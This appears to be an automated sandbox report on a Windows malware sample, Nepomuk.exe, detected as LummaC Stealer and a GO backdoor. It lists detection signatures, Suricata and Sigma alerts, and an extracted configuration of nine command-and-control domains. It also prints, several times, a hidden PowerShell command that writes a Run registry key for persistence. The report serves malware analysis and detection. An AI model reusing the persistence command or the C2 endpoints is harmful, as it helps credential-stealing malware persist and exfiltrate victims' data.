Edit tour

Windows Analysis Report
Nepomuk.exe

Overview

General Information

Sample name:	Nepomuk.exe
Analysis ID:	1663719
MD5:	fac9214c35af0181c30099c68920f445
SHA1:	5fe0f210c6461db77ed5b7e265b85eae57ffa6f1
SHA256:	93c71027c0484c7be95f7285b2fe668b60b3bec52b0f57d0deb01fcdfe111a89
Tags:	exeuser-Rony
Infos:

Detection

GO Backdoor, LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GO Backdoor

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contain functionality to detect virtual machines

Contains functionality to detect sleep reduction / modifications

Contains functionality to encrypt and move a file in one function

Contains functionality to log keystrokes

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to enumerate running services

Contains functionality to execute programs as a different user

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (might use process or thread times for sandbox detection)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Nepomuk.exe (PID: 7724 cmdline: "C:\Users\user\Desktop\Nepomuk.exe" MD5: FAC9214C35AF0181C30099C68920F445)

T68WJ1SM1U30WFLN7XXTLWOX8.exe (PID: 5852 cmdline: "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe" MD5: 8DDC00B505740E2BE081FCF120A6523A)

powershell.exe (PID: 4364 cmdline: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

T68WJ1SM1U30WFLN7XXTLWOX8.exe (PID: 4508 cmdline: "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe" MD5: 8DDC00B505740E2BE081FCF120A6523A)

powershell.exe (PID: 7316 cmdline: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

T68WJ1SM1U30WFLN7XXTLWOX8.exe (PID: 1732 cmdline: "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe" MD5: 8DDC00B505740E2BE081FCF120A6523A)

powershell.exe (PID: 5692 cmdline: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["quantyu.bet/AOSkwi", "soursopsf.run/gsoiao", "changeaie.top/geps", "easyupgw.live/eosz", "liftally.top/xasj", "upmodini.digital/gokk", "salaccgfa.top/gsooz", "zestmodp.top/zeda", "xcelmodo.run/nahd"], "Build id": "3cb89e8f70940188c63e82bafa7e7cbee0b03187b6a25af18f"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1356159060.0000000003F90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0000000D.00000002.2472257494.000000000447C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
0000000A.00000002.2472321608.00000000049AC000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000002.1471964767.0000000001550000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0000000D.00000002.2472257494.0000000004508000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
00000000.00000003.1359025401.0000000003F90000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1466158005.0000000003F8F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Nepomuk.exe PID: 7724	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Nepomuk.exe PID: 7724	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: T68WJ1SM1U30WFLN7XXTLWOX8.exe PID: 5852	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
Process Memory Space: T68WJ1SM1U30WFLN7XXTLWOX8.exe PID: 4508	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
Process Memory Space: T68WJ1SM1U30WFLN7XXTLWOX8.exe PID: 1732	JoeSecurity_GOBackdoor	Yara detected GO Backdoor	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.Nepomuk.exe.1550000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.Nepomuk.exe.3550000.2.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
0.2.Nepomuk.exe.1550000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\App

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }", CommandLine: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe", ParentImage: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe, ParentProcessId: 5852, ParentProcessName: T68WJ1SM1U30WFLN7XXTLWOX8.exe, ProcessCommandLine: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }", ProcessId: 4364, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4364, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\App

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }", CommandLine: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe", ParentImage: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe, ParentProcessId: 5852, ParentProcessName: T68WJ1SM1U30WFLN7XXTLWOX8.exe, ProcessCommandLine: powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe\" }", ProcessId: 4364, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T09:26:25.294844+0200	2028371	3	Unknown Traffic	192.168.2.4	49716	104.21.42.7	443	TCP
2025-04-12T09:26:27.084877+0200	2028371	3	Unknown Traffic	192.168.2.4	49717	104.21.42.7	443	TCP
2025-04-12T09:26:28.341631+0200	2028371	3	Unknown Traffic	192.168.2.4	49718	104.21.42.7	443	TCP
2025-04-12T09:26:29.570168+0200	2028371	3	Unknown Traffic	192.168.2.4	49719	104.21.42.7	443	TCP
2025-04-12T09:26:31.652698+0200	2028371	3	Unknown Traffic	192.168.2.4	49720	104.21.42.7	443	TCP
2025-04-12T09:26:33.229489+0200	2028371	3	Unknown Traffic	192.168.2.4	49721	104.21.42.7	443	TCP
2025-04-12T09:26:36.799930+0200	2028371	3	Unknown Traffic	192.168.2.4	49727	104.21.42.7	443	TCP
2025-04-12T09:26:37.754261+0200	2028371	3	Unknown Traffic	192.168.2.4	49728	140.82.114.3	443	TCP
2025-04-12T09:26:38.633161+0200	2028371	3	Unknown Traffic	192.168.2.4	49729	185.199.111.133	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (changeaie .top in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T09:26:25.294844+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49716	104.21.42.7	443	TCP
2025-04-12T09:26:27.084877+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49717	104.21.42.7	443	TCP
2025-04-12T09:26:28.341631+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49718	104.21.42.7	443	TCP
2025-04-12T09:26:29.570168+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49719	104.21.42.7	443	TCP
2025-04-12T09:26:31.652698+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49720	104.21.42.7	443	TCP
2025-04-12T09:26:33.229489+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49721	104.21.42.7	443	TCP
2025-04-12T09:26:36.799930+0200	2061396	1	Domain Observed Used for C2 Detected	192.168.2.4	49727	104.21.42.7	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (changeaie .top)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T09:26:24.859642+0200	2061395	1	Domain Observed Used for C2 Detected	192.168.2.4	49666	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (soursopsf .run)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T09:26:24.734313+0200	2061393	1	Domain Observed Used for C2 Detected	192.168.2.4	57934	1.1.1.1	53	UDP

ETPRO EXPLOIT Possible Win32k Elevation of Privilege Vulnerability (CVE-2016-7191)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T09:26:39.185271+0200	2822537	1	Attempted User Privilege Gain	185.199.111.133	443	192.168.2.4	49729	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://changeaie.top/gepslite5	Avira URL Cloud: Label: malware
Source: https://changeaie.top/gepsoh	Avira URL Cloud: Label: malware
Source: https://changeaie.top/gepsO	Avira URL Cloud: Label: malware
Source: https://changeaie.top/gepsZ	Avira URL Cloud: Label: malware
Source: https://changeaie.top/gepsCO.	Avira URL Cloud: Label: malware
Source: https://changeaie.top/gepse0R	Avira URL Cloud: Label: malware
Source: https://changeaie.top/gepsj	Avira URL Cloud: Label: malware
Source: https://changeaie.top/geps5	Avira URL Cloud: Label: malware
Source: quantyu.bet/AOSkwi	Avira URL Cloud: Label: malware
Source: https://changeaie.top/n	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.Nepomuk.exe.3550000.2.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["quantyu.bet/AOSkwi", "soursopsf.run/gsoiao", "changeaie.top/geps", "easyupgw.live/eosz", "liftally.top/xasj", "upmodini.digital/gokk", "salaccgfa.top/gsooz", "zestmodp.top/zeda", "xcelmodo.run/nahd"], "Build id": "3cb89e8f70940188c63e82bafa7e7cbee0b03187b6a25af18f"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\NrEXDJiACHo.exe	ReversingLabs: Detection: 25%
Source: C:\Users\user\AppData\Local\Temp\T68WJ1SM1U30WFLN7XXTLWOX8.exe	ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Source: Nepomuk.exe	Virustotal: Detection: 48%			Perma Link
Source: Nepomuk.exe	ReversingLabs: Detection: 52%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 92.9%

Sample uses string decryption to hide its real strings

Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: quantyu.bet/AOSkwi
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: soursopsf.run/gsoiao
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: changeaie.top/geps
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: easyupgw.live/eosz
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: liftally.top/xasj
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: upmodini.digital/gokk
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: salaccgfa.top/gsooz
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: zestmodp.top/zeda
Source: 0.2.Nepomuk.exe.3550000.2.unpack	String decryptor: xcelmodo.run/nahd

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_00EF2610 CreateWindowExW,DestroyWindow,ShowWindow,ShowWindowAsync,UpdateWindow,CloseWindow,OpenIcon,BringWindowToTop,IsWindow,IsWindowVisible,IsIconic,IsZoomed,SetActiveWindow,GetActiveWindow,GetMessageW,TranslateMessage,DispatchMessageW,PostQuitMessage,PeekMessageW,WaitMessage,ReplyMessage,SendNotifyMessageW,SendMessageTimeoutW,RegisterWindowMessageW,DialogBoxParamW,CreateDialogParamW,EndDialog,GetDlgItem,SetDlgItemTextW,GetDlgItemTextW,CheckDlgButton,IsDlgButtonChecked,GetKeyState,GetAsyncKeyState,GetKeyboardState,SetKeyboardState,MapVirtualKeyW,VkKeyScanW,keybd_event,mouse_event,SetCapture,ReleaseCapture,GetCapture,SetFocus,GetFocus,SetForegroundWindow,GetForegroundWindow,BeginPaint,EndPaint,GetDC,ReleaseDC,GetWindowDC,FillRect,DrawTextW,RedrawWindow,InvalidateRect,ValidateRect,SetWindowLongW,GetWindowLongW,SetWindowPos,GetWindowPlacement,SetWindowPlacement,AdjustWindowRectEx,GetClassLongW,SetClassLongW,GetSystemMetrics,SystemParametersInfoW,ExitWindowsEx,LockWorkStation,CreateMenu,CreatePopupMenu,DestroyMenu,AppendMenuW,InsertMenuW,RemoveMenu,SetMenu,GetMenu,DrawMenuBar,TrackPopupMenu,GetSubMenu,SetCursor,GetCursor,ShowCursor,SetCaretPos,GetCaretPos,CreateCaret,DestroyCaret,SetTimer,KillTimer,GetTickCount,OpenClipboard,CloseClipboard,EmptyClipboard,SetClipboardData,GetClipboardData,IsClipboardFormatAvailable,GetParent,SetParent,GetWindow,FindWindowW,FindWindowExW,ChildWindowFromPoint,GetWindowTextW,SetWindowTextW,GetWindowRect,GetClientRect,ClientToScreen,ScreenToClient,WindowFromPoint,GetDesktopWindow,MonitorFromWindow,GetMonitorInfoW,EnumDisplayMonitors,SetWindowsHookExW,UnhookWindowsHookEx,CallNextHookEx,LoadCursorW,LoadIconW,LoadImageW,LoadStringW,LoadAcceleratorsW,LoadMenuW,MessageBoxW,MessageBoxExW,MessageBoxIndirectW,FlashWindow,FlashWindowEx,DefWindowProcW,CallWindowProcW,RegisterClassExW,UnregisterClassW,GetDpiForWindow,AdjustWindowRectExForDpi,GetTouchInputInfo,CloseTouchInputHandle,GetGestureInfo,CloseGestureInfoHandle,AnimateWindow,IsGUIThread,GetGuiResources,SwitchToThisWindow,TileWindows,CascadeWindows,WinHelpW,wsprintfW,wvsprintfW,GetModuleHandleW,GetCommandLineW,GetCurrentProcessId,GetCurrentThreadId,ExitProcess,TerminateProcess,GetVersion,GetProcessHeap,HeapValidate,GetSystemTime,GetLastError,SetLastError,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetProcessTimes,Sleep,SleepEx,GetTempPathW,CreateFileW,ReadFile,WriteFile,CloseHandle,DeleteFileW,CopyFileW,MoveFileW,GetFileSize,SetFilePointer,FlushFileBuffers,LockFile,UnlockFile,GetFileAttributesW,SetFileAttributesW,FindFirstFileW,FindNextFileW,FindClose,CreateDirectoryW,RemoveDirectoryW,GetDiskFreeSpaceW,GetDriveTypeW,CreateEventW,WaitForSingleObject,ReleaseMutex,CreateMutexW,CreateSemaphoreW,OpenEventW,WaitForMultipleObjects,SignalObjectAndWait,InitializeCriticalSection,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,TryEnterCriticalSection,GetSystemDirectoryW,GetEnvironmentVariableW,GetStartupInfoW,GetComputerNameW,GetUserNameW,GetSystemInfo,GetNative	0_2_00EF2610
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_0356ABFA CryptUnprotectData,CryptUnprotectData,	0_2_0356ABFA
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 0_2_0356A1DB CryptUnprotectData,	0_2_0356A1DB

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\Nepomuk.exe

Unpacked PE file: 0.2.Nepomuk.exe.3550000.2.unpack

Source: Nepomuk.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.7:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49729 version: TLS 1.2

Source: Nepomuk.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Nepomuk.exe

Code function: 0_2_00EF2610 CreateWindowExW,DestroyWindow,ShowWindow,ShowWindowAsync,UpdateWindow,CloseWindow,OpenIcon,BringWindowToTop,IsWindow,IsWindowVisible,IsIconic,IsZoomed,SetActiveWindow,GetActiveWindow,GetMessageW,TranslateMessage,DispatchMessageW,PostQuitMessage,PeekMessageW,WaitMessage,ReplyMessage,SendNotifyMessageW,SendMessageTimeoutW,RegisterWindowMessageW,DialogBoxParamW,CreateDialogParamW,EndDialog,GetDlgItem,SetDlgItemTextW,GetDlgItemTextW,CheckDlgButton,IsDlgButtonChecked,GetKeyState,GetAsyncKeyState,GetKeyboardState,SetKeyboardState,MapVirtualKeyW,VkKeyScanW,keybd_event,mouse_event,SetCapture,ReleaseCapture,GetCapture,SetFocus,GetFocus,SetForegroundWindow,GetForegroundWindow,BeginPaint,EndPaint,GetDC,ReleaseDC,GetWindowDC,FillRect,DrawTextW,RedrawWindow,InvalidateRect,ValidateRect,SetWindowLongW,GetWindowLongW,SetWindowPos,GetWindowPlacement,SetWindowPlacement,AdjustWindowRectEx,GetClassLongW,SetClassLongW,GetSystemMetrics,SystemParametersInfoW,ExitWindowsEx,LockWorkStation,CreateMenu,CreatePopupMenu,DestroyMenu,AppendMenuW,InsertMenuW,RemoveMenu,SetMenu,GetMenu,DrawMenuBar,TrackPopupMenu,GetSubMenu,SetCursor,GetCursor,ShowCursor,SetCaretPos,GetCaretPos,CreateCaret,DestroyCaret,SetTimer,KillTimer,GetTickCount,OpenClipboard,CloseClipboard,EmptyClipboard,SetClipboardData,GetClipboardData,IsClipboardFormatAvailable,GetParent,SetParent,GetWindow,FindWindowW,FindWindowExW,ChildWindowFromPoint,GetWindowTextW,SetWindowTextW,GetWindowRect,GetClientRect,ClientToScreen,ScreenToClient,WindowFromPoint,GetDesktopWindow,MonitorFromWindow,GetMonitorInfoW,EnumDisplayMonitors,SetWindowsHookExW,UnhookWindowsHookEx,CallNextHookEx,LoadCursorW,LoadIconW,LoadImageW,LoadStringW,LoadAcceleratorsW,LoadMenuW,MessageBoxW,MessageBoxExW,MessageBoxIndirectW,FlashWindow,FlashWindowEx,DefWindowProcW,CallWindowProcW,RegisterClassExW,UnregisterClassW,GetDpiForWindow,AdjustWindowRectExForDpi,GetTouchInputInfo,CloseTouchInputHandle,GetGestureInfo,CloseGestureInfoHandle,AnimateWindow,IsGUIThread,GetGuiResources,SwitchToThisWindow,TileWindows,CascadeWindows,WinHelpW,wsprintfW,wvsprintfW,GetModuleHandleW,GetCommandLineW,GetCurrentProcessId,GetCurrentThreadId,ExitProcess,TerminateProcess,GetVersion,GetProcessHeap,HeapValidate,GetSystemTime,GetLastError,SetLastError,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetProcessTimes,Sleep,SleepEx,GetTempPathW,CreateFileW,ReadFile,WriteFile,CloseHandle,DeleteFileW,CopyFileW,MoveFileW,GetFileSize,SetFilePointer,FlushFileBuffers,LockFile,UnlockFile,GetFileAttributesW,SetFileAttributesW,FindFirstFileW,FindNextFileW,FindClose,CreateDirectoryW,RemoveDirectoryW,GetDiskFreeSpaceW,GetDriveTypeW,CreateEventW,WaitForSingleObject,ReleaseMutex,CreateMutexW,CreateSemaphoreW,OpenEventW,WaitForMultipleObjects,SignalObjectAndWait,InitializeCriticalSection,EnterCriticalSection,LeaveCriticalSection,DeleteCriticalSection,TryEnterCriticalSection,GetSystemDirectoryW,GetEnvironmentVariableW,GetStartupInfoW,GetComputerNameW,GetUserNameW,GetSystemInfo,GetNative

Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+14h]	0_2_01599110
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_0159C110
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [edx]	0_2_01551120
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov dword ptr [esp+04h], edi	0_2_0156A1DF
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-70h]	0_2_01595190
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_015590B0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_015590B0
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0155A310
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_0156CEB8
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov edx, esi	0_2_01575330
Source: C:\Users\user\Desktop\Nepomuk.exe	Code function: 4x nop then mov byte ptr [edx], cl	0_2_0157E3CD
